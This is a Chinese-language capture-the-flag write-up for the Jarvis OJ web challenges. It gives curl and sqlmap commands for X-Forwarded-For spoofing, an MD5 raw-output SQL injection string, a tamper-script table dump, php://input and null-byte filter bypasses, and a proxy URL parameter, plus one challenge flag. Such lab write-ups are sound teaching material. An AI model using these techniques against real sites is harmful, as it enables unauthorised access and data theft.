jarvis OJ writeup (Web部分)
PORT51
使用curl的—local-port参数就行,但是不知道为什么我的mac和虚拟机都不行,估计是学校网最后有个nat所以端口会变,换了服务器就好了。还要注意使用1024编号以下的端口需要root权限
1  | root@(none):~# curl --local-port 51 http://web.jarvisoj.com:32770  | 
LOCALHOST
加个XFF头就行了
1  | ➜ ~ curl web.jarvisoj.com:32774 -H"X-ForWarded-For: 127.0.0.1"  | 
LOGIN
response里发现hint
1  | Hint: "select * from `admin` where password='".md5($pass,true)."'"  | 
php官方对md5函数是这么描述的
md5 ( string $str [, bool $raw_output = FALSE ] ) : string`
Calculates the MD5 hash of str using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash.str
The string.
raw_output
If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16.
它用的是字符串的拼接,没有任何过滤,那么只要构造字符串的md5转成字符串是’ or ‘xxxxxx的值为true就行了
1  | ➜ ~ curl -X POST -d "pass=ffifdyop" http://web.jarvisoj.com:32772/  | 
神盾局的秘密
抓包发现请求了一个showimg.php
base64解一下
1  | ➜ ~ echo "c2hpZWxkLmpwZw=="|base64 -d -  | 
直接换个index.php上去看看
Simple Injection
打开发现是个登陆界面,随便试了试admin,123456提示密码错误

又试了试admin ‘ or 1 = 1 # ,123456 发现提示用户名错误

那么通过这两字符串就能判断是否注入成功,判读注入的标志有了,现在该测试过滤了、最后发现过滤了and or之类的
使用sqlmap的space2comment symboliclogical这两temper绕过一下就行
1  | ➜ ~ sqlmap --data="username=admin&password=kslda" -u "http://web.jarvisoj.com:32787/login.php" --batch --dbms=mysql --level 3 -v 3 --string "密码错误" --tamper "space2comment,symboliclogical" --dbms=mysql -T admin -C password --dump  | 



flag:CTF{s1mpl3_1nJ3ction_very_easy!!}
IN A Mess
查看源代码发现 index.phps文件
1  | 
  | 
需要过几个check
- 使用字符串绕过id的check
 - 使用php伪协议(php://input data:// 等)绕过a的check
 - 使用eregi的%00截断特性绕过b的check
1
2➜ ~ curl -X POST -d '1112 is a nice lab!' 'web.jarvisoj.com:32780/index.php?id=asdas&a=php://input&b=%0011111111233'
<!--index.phps-->Come ON!!! {/^HT2mCpcvOLf} 
访问http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1发现是个注入
1  | ➜ ~ curl "http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1"  | 
api
右键查看源代码发现

直接访问
1  | http://web.jarvisoj.com:32782/proxy.php?url=www.baidu.com  | 
弹出百度页面